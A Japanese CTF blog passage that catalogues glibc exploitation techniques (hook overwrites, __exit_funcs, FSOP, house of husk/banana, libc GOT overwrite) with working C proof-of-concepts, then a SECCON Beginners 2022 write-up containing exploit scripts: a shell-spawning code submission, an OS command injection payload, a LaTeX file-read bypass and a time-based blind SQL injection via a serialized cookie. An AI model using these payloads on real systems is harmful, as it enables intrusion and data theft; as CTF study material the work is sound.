KUDoSハイライト

同じ問題解いてて、なぜかチーム内で競走してた図

はじめに

基本的にCTF用
glibc2.34でmalloc_hook, free_hookが消されたのもあって
今何が使えるのかよくわからんくなってたのでまとめてみた。
別に新しい手法の紹介では全くなく、既出を調べただけ。
多分これ以外にももっと使えるシンボルあると思うんで、こっそり教えてくれたら追記します。

検証ではアドレスリークや任意アドレスの書き込みの手段がすでにあるという前提の
擬似exploitになっている。
target関数が直接呼び出さずに実行されていることをもって、RIPが制御できているみたいな感じで読んでほしい。

また環境は、基本的に検証時点での最新版のglibc2.35で行い、
2.35で動かないもの、消されてたシンボルについては2.31で検証した。

目次

_free_hook / _malloc_hook

2.34でシンボルが消された
そのため < 2.34の環境で動く(2.31までは少なくとも確認済み)

みんな大好き_free_hook
条件次第では8bytesの書き換えでシェルまで取れるのはやっぱり便利だった。

手順

説明不要な気がするが、シンボルを呼び出したい関数アドレスに書き換えてmalloc/freeを呼ぶだけ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x84450;
unsigned long off_malloc_hook = 0x1ecb70;
unsigned long off_free_hook = 0x1eee48;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void target2(unsigned long arg1)
{
printf("In target2(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* ptr_malloc_hook = libc_base+off_malloc_hook;
void* ptr_free_hook = libc_base+off_free_hook;

// normal
char* ptr = malloc(0x400);
free(ptr);

// overwrite symbols
*(unsigned long*)ptr_malloc_hook = target1;
*(unsigned long*)ptr_free_hook = target2;

malloc(0xff); // exploit
free(ptr); // exploit

puts("End of main()");
return;
}
1
2
3
4
5
6
$ ./malloc_free_hook 
Start of main()
libc_base = 0x7f3714205000
In target1(): arg1=0xff
In target2(): arg1=0x5583524a16b0
End of main()

上記は2.31環境での動作確認。

参考

__exit_funcs / pointer_guard

ver2.35で動作確認済み

手順

__exit_funcsというstruct exit_functions_listを指すポインタを書き換えて
いい感じの関数テーブルを用意する。
するとexit()やmain関数からのreturn時に呼ばれるrun_exit_handler()内で関数が呼ばれるが
この時PTR_DEMANGLEでror 0x11とxorの操作があるので関数ポインタはあらかじめエンコードされた値を格納しておく。
xorする値はstack canaryと同様のTLS領域に格納されているのでこの値をリークまたは書き換える必要がある。
第一引数を隣接するアドレスで指定できるのはとても良い。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_tls = 0x7ffff7d8a740 - 0x7ffff7d8d000;
unsigned long off_exit_funcs = 0x7ffff7fa6838 - 0x7ffff7d8d000;

#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)>>(0x40-0x11))

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void target2(unsigned long arg1)
{
printf("In target2(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* tls = libc_base + off_tls;
printf("tls = %p\n",tls);
void* exit_funcs = libc_base + off_exit_funcs;
printf("exit_funcs = %p\n",exit_funcs);

// prepare for exploit
unsigned long fake_pointer_guard = 0xdeadbeef;
void* fake_exit_function_list = malloc(0x200);

*(unsigned long*)(fake_exit_function_list + 0x0) = 0; // next
*(unsigned long*)(fake_exit_function_list + 0x8) = 2; // idx (number of functions)
*(unsigned long*)(fake_exit_function_list + 0x10) = 4; // fns[0].flavor
*(unsigned long*)(fake_exit_function_list + 0x18) =
ENC_FUNC((unsigned long)target1,fake_pointer_guard); // fns[0].func.fn
*(unsigned long*)(fake_exit_function_list + 0x20) = 0x12345678; // fns[0].func.arg
*(unsigned long*)(fake_exit_function_list + 0x30) = 4; // fns[1].flavor
*(unsigned long*)(fake_exit_function_list + 0x38) =
ENC_FUNC((unsigned long)target2,fake_pointer_guard); // fns[1].func.fn
*(unsigned long*)(fake_exit_function_list + 0x40) = 0x9abcdef0; // fns[1].func.arg

// overwrite symbols
*(unsigned long*)(tls+0x30) = fake_pointer_guard;
*(unsigned long*)exit_funcs = (unsigned long)fake_exit_function_list;

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}
1
2
3
4
5
6
7
8
$ ./exit_funcs 
Start of main()
libc_base = 0x7f212d6ef000
tls = 0x7f212d6ec740
exit_funcs = 0x7f212d908838
End of main()
In target2(): arg1=0x9abcdef0
In target1(): arg1=0x12345678

参考資料

_IO_list_all / _IO_OVERFLOW

いわゆるFSOPというやつで、この類のやつは状況次第では発火ポイントは色々あるので、
ここでは汎用性の高そうな_IO_OVERFLOWによる発火を記載する。

手順

IO_list_allには本来stderr->stdout->stdinといったファイル構造体が単方向リストに繋がれている。

exit()やmain関数からのreturn時に呼ばれる_IO_flush_all_lockp内では、
このIO_list_allを辿って各ファイル構造体のメンバが特定の条件の時に_IO_OVERFLOW(vtableメンバ+0x18に位置する関数ポインタ)が呼ばれるという処理が存在する。

この処理を利用して、IO_list_allを偽造した_IO_FILE_plus構造体を指すようにして、bufferのポインタなど適切なメンバを設定することで関数をフックすることができる。

vtableメンバは適切なアドレス範囲内にあるかのチェックが行われるため偽の関数テーブルを用意したheap領域を指すようにしたりはできない。(チェックの話は結構昔からあるので割愛する)
そのため本来のvtable付近のアドレスに、飛ばしたいアドレスを格納し、vtableメンバ+0x18がそのアドレスを指すようにずらしてあげることで_IO_OVERFLOW呼び出し時に目的の関数実行することができる。

パターン1(vtable領域への書き込み)

vtable領域内に飛ばしたい関数ポインタを書き込んで、偽装した構造体のvtableメンバを適切にずらしてあげるやり方。

先に言うと2.35では基本的に使えないと思われる。
というのも自分の環境ではシンボルや関数自体はあるもののvtableのメモリページがreadonlyになっているので書き換えができなかった。

2.31ではどうかというと、これも自分の環境だとreadonlyになっててダメだった。
記憶では2.31でも普通に使えたので、あれ?と思い少し調べてみたが、同じバージョンでもパッチが当たっているものがあるみたい。なのでこれを使う際はあまりバージョンで判断しない方が良さそう。
(この解釈間違っている可能性があるので、有識者がいたら教えてほしい)

以下に記載する再現は次の環境で行った

1
2
Ubuntu GLIBC 2.31-0ubuntu9.3
BuildID[sha1]=ce782ece08d088e77eeadc086f84d4888de4bb42

ちなみに動かなかった2.31

1
2
Ubuntu GLIBC 2.31-0ubuntu9.7
BuildID[sha1]=9fdb74e7b217d06c93172a8243f8547f947ee6d1

以下は本来のvtable+0x8にtarget関数のアドレスを、偽造したファイル構造体のvtableメンバを本来のvtableから-0x10した値にセットしている。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x875a0;
unsigned long off_IO_list_all = 0x1ec5a0;
unsigned long off_vtable = 0x1ed4a0;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* IO_list_all = libc_base + off_IO_list_all;
printf("IO_list_all = %p\n",IO_list_all);
void* vtable = libc_base + off_vtable;
printf("vtable = %p\n",vtable);

// prepare for exploit
void* fake_io_struct = malloc(0x400);
printf("fake_io_struct = %p\n", fake_io_struct);

*(unsigned long*)(fake_io_struct+ 0x0) = 0xdeadbeef; // *fp arg1
*(unsigned long*)(fake_io_struct+0x20) = 0; // _IO_write_base
*(unsigned long*)(fake_io_struct+0x28) = 1; // _IO_write_end
*(int*)(fake_io_struct+0xc0) = 0; // _mode
*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)vtable - 0x10; // vtable

// overwrite symbols
*(unsigned long*)(vtable + 0x8) = target1; // fake _IO_OVERFLOW
*(unsigned long*)IO_list_all = fake_io_struct;

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}
1
2
3
4
5
6
7
8
$ ./io_list_all 
Start of main()
libc_base = 0x7fb8274ae000
IO_list_all = 0x7fb82769a5a0
vtable = 0x7fb82769b4a0
fake_io_struct = 0x555a5e00d6b0
End of main()
In target1(): arg1=0x555a5e00d6b0

house of emmaの1パート

この方法ではパターン1が動かなかった2.31(GLIBC 2.31-0ubuntu9.7)でも動くことが確認できた。
自分の環境の2.35では_IO_cookie_jumps近辺にvtableを設定するとvtable checkで検出されるようになっていた。(コードレベルで追えていない)

_IO_OVERFLOWが指す関数ポインタを既存の関数_IO_cookie_[read|write|seek|close]に向ける。
これらの_IO_cookie_xxx関数では、さらに_IO_cookie_file構造体の関数ポインタのメンバを呼ぶことができて、これらはvtableからの呼び出しではないので、heap上に設置できる。
また関数ポインタは前述のPTR_DEMANGLEでデコードされるので、あらかじめエンコードされた値を格納しておく。

以下の擬似exploitはexit()時のIO_OVERFLOWをトリガーにしているので、pointer_guardを改ざんすると、前述の__exit_funcsのDEMANGLEが失敗してしまうので、pointer_guardをリークした場合を想定している。(他のメンバをいじることでpointer_guardの改ざんでも発火は一応できるが)

exit時の_IO_OVERFLOWを発火のトリガーにしなければこの問題は回避できる。
(現にhouse of emmaの解説記事ではassert()をトリガーにしている)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x7ffff7e4a450 - 0x7ffff7dc6000;
unsigned long off_IO_list_all = 0x7ffff7fb35a0 - 0x7ffff7dc6000;
unsigned long off_IO_cookie_jumps = 0x7ffff7faea20 - 0x7ffff7dc6000;
unsigned long off_tls = 0x7ffff7fb9540 - 0x7ffff7dc6000;

#define ENC_FUNC(ptr,pg) ((ptr^pg)<<0x11|(ptr^pg)>>(0x40-0x11))

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* IO_list_all = libc_base + off_IO_list_all;
printf("IO_list_all = %p\n",IO_list_all);
void* IO_cookie_jumps = libc_base + off_IO_cookie_jumps;
printf("IO_cookie_jumps = %p\n",IO_cookie_jumps);
void* tls = libc_base + off_tls;
printf("tls = %p\n",tls);

// prepare for exploit
void* fake_io_struct = malloc(0x400);
unsigned long pointer_guard = *(unsigned long*)(tls+0x30);

*(unsigned long*)(fake_io_struct+0x20) = 0; // _IO_write_base
*(unsigned long*)(fake_io_struct+0x28) = 1; // _IO_write_end
*(int*)(fake_io_struct+0xc0) = 0; // _mode
*(unsigned long*)(fake_io_struct+0xe0) = 0xdeadbeef; // _cookie

// _IO_cookie_read
*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x58; // vtable
*(unsigned long*)(fake_io_struct+0xe8) =
ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// _IO_cookie_write
//*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x60; // vtable
//*(unsigned long*)(fake_io_struct+0xf0) =
// ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// _IO_cookie_seek
//*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x68; // vtable
//*(unsigned long*)(fake_io_struct+0xf8) =
// ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// _IO_cookie_close
//*(unsigned long*)(fake_io_struct+0xd8) = (unsigned long)IO_cookie_jumps+0x70; // vtable
//*(unsigned long*)(fake_io_struct+0x100) =
// ENC_FUNC((unsigned long)target1, pointer_guard); // cookie_io_functions_t.read

// overwrite symbols
*(unsigned long*)IO_list_all = fake_io_struct;

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}

参考

__printf_function_table / __printf_arginfo_table

house of husk の1パート
ver2.35で動作確認済み

rdiを操作するのはキツそうなのでone gadgetなりいい感じのgadgetが必要。

手順

__printf_function_tableを読み込み可能領域に、
__printf_arginfo_tableを自身の用意した関数テーブルを指すようにすれば、
書式文字列を用いてprintf()を行うことで、対象の関数テーブルの値が呼ばれる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_printf_function_table = 0x7ffff7fa89c8 - 0x7ffff7d8d000;
unsigned long off_printf_arginfo_table = 0x7ffff7fa78b0 - 0x7ffff7d8d000;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* printf_function_table = libc_base + off_printf_function_table;
void* printf_arginfo_table = libc_base + off_printf_arginfo_table;

printf("__printf_function_table = %p\n",printf_function_table);
printf("__printf_arginfo_table = %p\n",printf_arginfo_table);

printf("%K\n");
// prepare for exploit
void* area_readable = malloc(0x100);
void* fake_arginfo_table = malloc(0x400); // enough size

*(unsigned long*)(fake_arginfo_table + 'K'*8) = target1;

// overwrite symbols
*(unsigned long*)printf_function_table = (unsigned long)area_readable;
*(unsigned long*)printf_arginfo_table = (unsigned long)fake_arginfo_table;

printf("%K\n"); // exploit
puts("End of main()");
return;
}
1
2
3
4
5
6
7
8
9
10
$ ./printf_arginfo_table 
Start of main()
libc_base = 0x7f5b27122000
__printf_function_table = 0x7f5b2733d9c8
__printf_arginfo_table = 0x7f5b2733c8b0
%K
after overwrite
In target1(): arg1=0x7fffa1fceda0
In target1(): arg1=0x7fffa1fceda0
%K

2回呼ばれているのは
printf_positionalとその中で呼ばれる__parse_one_specmbでそれぞれ実行されている。

参考資料

_rtld_global

house of banana の1パート
ver2.35で動作確認済み。

手順

ld.so内の_rtld_globalが指し示すlink_mapの双方向リストをいい感じに書き換えると、
exit()やmain関数からのreturnの際に呼ばれる_dl_finiの処理にていい感じに差し替えた関数テーブルが呼ばれる。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_ld = 0x7fe5d6f2d000 - 0x7fe5d6cfd000; // ld_base - libc_base
//unsigned long off_ld = 0x7ffff7fc3000 - 0x7ffff7d8d000; // for gdb
unsigned long off_rtld_global = 0x7ffff7ffd040 - 0x7ffff7fc3000;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void target2(unsigned long arg1)
{
printf("In target2(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
int i;

printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* rtld_global = libc_base + off_ld + off_rtld_global;
printf("rtld_global = %p\n",rtld_global);

// prepare for exploit
unsigned int ns_loaded = 4;
void* fake_link_maps[ns_loaded];

for(i = ns_loaded-1; i >= 0; i--){
fake_link_maps[i] = malloc(0x400); // enough for size of link_map
*(unsigned long*)(fake_link_maps[i] + 0x28) = fake_link_maps[i]; // link_map->l_real
if(i == ns_loaded-1)
*(unsigned long*)(fake_link_maps[i] + 0x18) = 0; // link_map->l_next
else
*(unsigned long*)(fake_link_maps[i] + 0x18) = fake_link_maps[i+1];
}

void* fake_array = malloc(0x10);
void* fake_array_size = malloc(0x10);
void* fake_func_table = malloc(0x10);

*(unsigned long*)(fake_link_maps[0] + 0x110) = fake_array; // link_map->l_info[DT_FINI_ARRAY]
*(unsigned long*)(fake_array + 8) = fake_func_table;

*(unsigned long*)(fake_link_maps[0] + 0x120) = fake_array_size; // link_map->l_info[DT_FINI_ARRAY]
*(unsigned long*)(fake_array_size + 8) = 0x10;

*(unsigned int*)(fake_link_maps[0] + 0x31c) = 8; // link_map->l_init_call (bit field)

*(unsigned long*)(fake_func_table + 0) = target1;
*(unsigned long*)(fake_func_table + 8) = target2;

// overwrite symbols
*(unsigned long*)rtld_global = (unsigned long)fake_link_maps[0];

puts("End of main()");
// _exit(0); //not work
// exit(0);
return;
}

1
2
3
4
5
6
7
$ ./rtld_global 
Start of main()
libc_base = 0x7fd908050000
rtld_global = 0x7fd9082ba040
End of main()
In target2(): arg1=0x7fd9082baa48
In target1(): arg1=0x7fff8b010e00

関数はテーブルの末尾から連続で呼ぶことができる & その際にレジスタがあまり破壊されないので(環境依存)
1ターン目でrdiをセット、2ターン目でsystem()みたいなこともできる。

以下は自分の環境での関数ループの処理

1
2
3
4
5
6
7
0x7ffff7fc9248 <_dl_fini+520>:       mov    QWORD PTR [rbp-0x38],rax
0x7ffff7fc924c <_dl_fini+524>: call QWORD PTR [rax]
0x7ffff7fc924e <_dl_fini+526>: mov rax,QWORD PTR [rbp-0x38]
0x7ffff7fc9252 <_dl_fini+530>: mov rdx,rax
0x7ffff7fc9255 <_dl_fini+533>: sub rax,0x8
0x7ffff7fc9259 <_dl_fini+537>: cmp QWORD PTR [rbp-0x40],rdx
0x7ffff7fc925d <_dl_fini+541>: jne 0x7ffff7fc9248 <_dl_fini+520>

参考資料

_dl_open_hook

dl_open_hookについてはシンボル自体2.35でもある
が解説記事の手法は < 2.31で動作するっぽい。(ソースコードで判断しているため、未確認要検証)

abort時の__libc_message()内のBEFORE_ABORT(backtrace_and_mapsのマクロ)が2.31以降消されている。

手順

_dl_open_hookに、用意したdl_open_hook構造体を配置することで、abort時に呼ばれる
関数を操作することができる。

擬似exploitは省略
2.31未満のlibc問が出題されたらワンチャン使えるかもくらいに思い出してあげてほしい。

参考

GOT overwrite in libc(追記)

twitterより

moraさんあざます🙏

2.35でも使えたテクニックで、glibcバイナリのgot overwrite。

以下は教えてもらったtweet通りcalloc内で呼ばれるmemsetのgotを書き換えた。
本記事で何回も出している__run_exit_handlerでもfree呼ばれるからfree@gotを書き換えようと思ったら、
free@gotはreadonlyのページに配置されていた。同じlibcのgot領域でも書き込み可否が変わるのか。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <stdlib.h>
// differ in each environment
unsigned long off_puts = 0x80ed0;
unsigned long off_got_memset_in_libc = 0x219188;

void target1(unsigned long arg1)
{
printf("In target1(): arg1=0x%lx\n", arg1);
return;
}

void main()
{
printf("Start of main()\n");

void* libc_base = &puts - (unsigned long)off_puts;
printf("libc_base = %p\n",libc_base);
void* got_memset_in_libc = libc_base + off_got_memset_in_libc;
printf("got_memset_in_libc = %p\n",got_memset_in_libc);

// before overwrite
void* ptr = calloc(0x58,1);

// overwrite symbols
*(unsigned long*)got_memset_in_libc = target1;

puts("before memset()");

memset(ptr, 0, 0x58); // not work (memset() from user binary)

puts("before calloc()");

ptr = calloc(0x58,1); // exploit (memset() from libc)
puts("End of main()");
return;
}
1
2
3
4
5
6
7
8
$ ./got_in_libc 
Start of main()
libc_base = 0x7fc77cbf0000
got_memset_in_libc = 0x7fc77ce09188
before memset()
before calloc()
In target1(): arg1=0x55c178b23710
End of main()

終わりに

実はこれはctf4bのmonkey heapが解けなかった際の供養
最近サボってたら置いてかれていた

間違いあれば教えてください

昨年までKUDoSで参加してましたが、
今年はソロ参加してました。(team:Shinra Company)
結果は19位で普段やらないジャンルも挑戦できてとても良かった。

目次

misc

phisher

打ち込んだ文字列をとあるフォントで画像出力し、それを再度画像から文字列として認識させる。
この時に’www[.]example[.]com’に出てくる文字列を使用せずに’www[.]example[.]com’として解釈させる問題。

答えとしては’ωωω․ехамрІе․сом’とかで通る。
バイト列で言うと以下
‘\xcf\x89\xcf\x89\xcf\x89\xe2\x80\xa4\xd0\xb5\xd1\x85\xd0\xb0\xd0\xbc\xd1\x80\xd0\x86\xd0\xb5\xe2\x80\xa4\xd1\x81\xd0\xbe\xd0\xbc’

(上のやつコンテスト中はなぜか通らずに発狂していた、その時はωを色々変えてみたら通った。why)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/python3
from pwn import *
import sys

context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "phisher.quals.beginners.seccon.jp"
PORT = 44322

conn = remote(HOST, PORT)
fqdn = 'ωωω․ехамрІе․сом'
#fqdn = 'ωωŵ․ехамрІе․сом'

conn.sendlineafter(": ", fqdn)

conn.interactive()

生成される画像

H2

pcapファイルが配布される。
HTTP2の大量の通信のどこかに出力されてるx-flagヘッダにflagがあるらしい。
5億年ぶりにwiresharkを起動した。
大体のレスポンスがLength:49なので、フィルタに”http2.length > 49”を入力

ultra_super_miracle_validator

cソースコードを渡したらそれをコンパイルして実行してくれる。
ただyaraでいくつかのルールが定義されていて、それをパスしないと実行してくれない。
最初見た時なんかの命令が禁止されているのかと思ったが、ルールをよく見ると定義された文字列を含めたらパスできる感じだった。
charの配列としてそれらの文字列を定義しておけば、コンパイル後もその文字列が出てくるはずなので適当に定義した後、system(“/bin/sh”)を実行するcコードを送信する

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
from pwn import *
import sys

#config
context(os='linux', arch='i386')
context.log_level = 'debug'

HOST = "ultra-super-miracle-validator.quals.beginners.seccon.jp"
PORT = 5000

conn = remote(HOST, PORT)

code = ''
code = 'char* x1="\\xe3\\x82\\x89\\xe3\\x81\\x9b\\xe3\\x82\\x93\\xe9\\x9a\\x8e\\xe6\\xae\\xb5";'
code += 'char* x9="\\xe7\\xb4\\xab\\xe9\\x99\\xbd\\xe8\\x8a\\xb1";'
code += 'char* x4="\\xe3\\x82\\xa4\\xe3\\x83\\x81\\xe3\\x82\\xb8\\xe3\\x82\\xaf\\xe3\\x81\\xae\\xe3\\x82\\xbf\\xe3\\x83\\xab\\xe3\\x83\\x88";'
code += 'char* x12="\\x83\\x4a\\x83\\x75\\x83\\x67\\x92\\x8e";'
code += 'char* x19="\\x8e\\x87\\x97\\x7a\\x89\\xd4";'
code += 'char* x8="\\xe5\\xa4\\xa9\\xe4\\xbd\\xbf";'
code += 'char* x20="\\x94\\xe9\\x96\\xa7\\x82\\xcc\\x8d\\x63\\x92\\xe9";'
code += 'char* x6="\\xe7\\x89\\xb9\\xe7\\x95\\xb0\\xe7\\x82\\xb9";'
code += 'char* x25="\\x30\\xc9\\x30\\xed\\x30\\xed\\x30\\xfc\\x30\\xb5\\x30\\x78\\x30\\x6e\\x90\\x53";'
code += 'char* x21="\\x30\\x89\\x30\\x5b\\x30\\x93\\x96\\x8e\\x6b\\xb5";'
code += 'char* x3="\\xe5\\xbb\\x83\\xe5\\xa2\\x9f\\xe3\\x81\\xae\\xe8\\xa1\\x97";'
code += 'char* x14="\\x83\\x43\\x83\\x60\\x83\\x57\\x83\\x4e\\x82\\xcc\\x83\\x5e\\x83\\x8b\\x83\\x67";'
code += 'char* x26="\\x72\\x79\\x75\\x70\\x70\\xb9";'
code += 'char* x34="\\x2b\\x4d\\x4b\\x51\\x2d\\x2b\\x4d\\x4d\\x45\\x2d\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4b\\x38\\x2d\\x2b\\x4d\\x47\\x34\\x2d\\x2b\\x4d\\x4c\\x38\\x2d\\x2b\\x4d";'
code += 'char* x36="\\x2b\\x63\\x6e\\x6b\\x2d\\x2b\\x64\\x58\\x41\\x2d\\x2b\\x63";'
code += 'char* x37="\\x2b\\x4d\\x4c\\x67\\x2d\\x2b\\x4d\\x4f\\x63\\x2d\\x2b\\x4d\\x4d\\x4d\\x2d\\x2b";'
code += 'void main(){system("/bin/sh");}'

def exploit():
conn.sendlineafter(":\n",code)
conn.interactive()

if __name__ == "__main__":
exploit()

hitchhike4b

SECCON 2021で苦しめられたhitchhike
一応リベンジはできた。。。

端的に言うと1つ目は__main__,2つ目は一つ目で得られたpythonファイル名を入力すると変数が得られる。

以下コンソールの対話

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
help> __main__
Help on module __main__:

NAME
__main__

DATA
__annotations__ = {}
flag1 = 'ctf4b{53cc0n_15_1n_m'

FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py


help> app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc
...

NAME
app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc

DATA
flag2 = 'y_34r5_4nd_1n_my_3y35}'

FILE
/home/ctf/hitchhike4b/app_35f13ca33b0cc8c9e7d723b78627d39aceeac1fc.py

web

Util

OS Command Injection
ブラウザからは直接打てないのでBurpなり、curlなりを使って直接送信する。

1
2
3
4
5
6
7
POST /util/ping HTTP/1.1
Host: util.quals.beginners.seccon.jp
Content-Type: application/json
Content-Length: 26
Connection: close

{"address":";ls -al ../;"}

flagのファイル名が’flag_A74FIBkN9sELAjOc.txt’とわかるので上のコマンドをcat flag_xxx.txtにしてflagげと

textex

texのテキストを渡すとそれをpdfに変換してくれる。

‘flag’の文字列があると弾かれるので、
ファイルを埋め込む構文と変数を使ってpdfに埋め込む

1
2
3
4
5
6
7
8
9
10
11
12
\documentclass{article}
\usepackage{verbatim}
\newcommand{\fl}{fl}
\newcommand{\ag}{ag}
\begin{document}

This is a sample.

\verbatiminput{\fl\ag}

\end{document}

ファイルの閲覧サービス
拡張子で検索する機能でflagのファイル名を特定

https://gallery.quals.beginners.seccon.jp/?file_extension=fl

普通にflagを取得しようとすると?だけのテキストが返ってくる。
サーバ側で10240を超えるファイルだと変換されてしまうみたいなのでRangeヘッダを使用する。

1
2
3
4
GET /images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdf HTTP/1.1
Host: gallery.quals.beginners.seccon.jp
Range: bytes=0-10239
Connection: close

serial

html/database.phpにあからさまなSQL injectionがある。

1
2
3
4
5
6
7
8
public function findUserByName($user = null)
{
if (!isset($user->name)) {
throw new Exception('invalid user name: ' . $user->user);
}

$sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
$result = $this->_con->query($sql);

認証を検証する関数loginとかで呼ばれており、cookieの__CREDにセットされたPHPオブジェクトを
unseriarizeしてsql文に挿入される。

以下はtime basedでflagテーブルからflagを抜き取るコード
別にtime basedである必要はない

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/usr/bin/python3

import base64
import urllib.parse
import requests
import string

url = b"https://serial.quals.beginners.seccon.jp/"
c_array = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}0123456789!$-.<=>?@_*"

if __name__ == '__main__':
flag = 'ctf4b{'
i = 7
while '}' not in flag:
for c in c_array:
#sql = "test' union select if(1=1,(sleep(5),'1','1'),(1,'1','1')) -- '"
sql = "test' union select (select if(substring(body,{},1)='{}',sleep(5),1) from flags),'1','1' -- '".format(i,c)
serial = "O:4:\"User\":3:{s:2:\"id\";s:1:\"1\";s:4:\"name\";s:"
serial += str(len(sql))
serial += ":\""
serial += sql
serial += "\";s:13:\"password_hash\";s:60:\"$2y$10$4XgUYL3zRJd6Ft4bzfsjBe8SKRm1XrXXbD6TssbeNHinhgfyFAJfC\";}"
my_cookie = {"__CRED": base64.b64encode(serial.encode()).decode("utf-8")}
try:
res = requests.get(url, cookies=my_cookie, timeout=3)
except Exception as e:
flag += c
break
if c == '*':
print(flag)
exit(1)
print("flag:" + flag)
i+=1

reversing

Quiz

コマンドstrings

1
2
$ strings quiz |grep ctf4b
ctf4b{w0w_d1d_y0u_ca7ch_7h3_fl4g_1n_0n3_sh07?}

WinTLS

EXEファイルが配られる。
idaで見るとcheck関数という怪しい関数がある。

strcmpでブレークポイント張って見るとflagが2回にわたってチェックされている。
チェックされている文字列は以下に格納されてた

愚直にctf4b{ABCDE…}みたいに入力をして、比較対象の文字列中のAがどこに現れるか、を一つずつ確認してflagを復元した。

Recursive

名前の通り再起的に関数が呼ばれている。
flagを2分割して前半と後半を再度関数の引数にしている。

再起的に呼ばれる関数の疑似コード

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
void check(char* ptr, int off)
{
int half;
int len = strlen(ptr);
char* ptr1, ptr2;
if(len == 1){
if(ptr[0] == enc_flag[off])
return 0;
else
return 1;
}
half = len>>1;
ptr1 = malloc(half);
strcpy(ptr1, ptr, half);
if(check(ptr1, off) ==1 ) return 1;

ptr2 = malloc(len-half);
strcpy(ptr2, &ptr[half], len-half);
if(check(ptr1, off+half*half)
}

復号するsolver

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
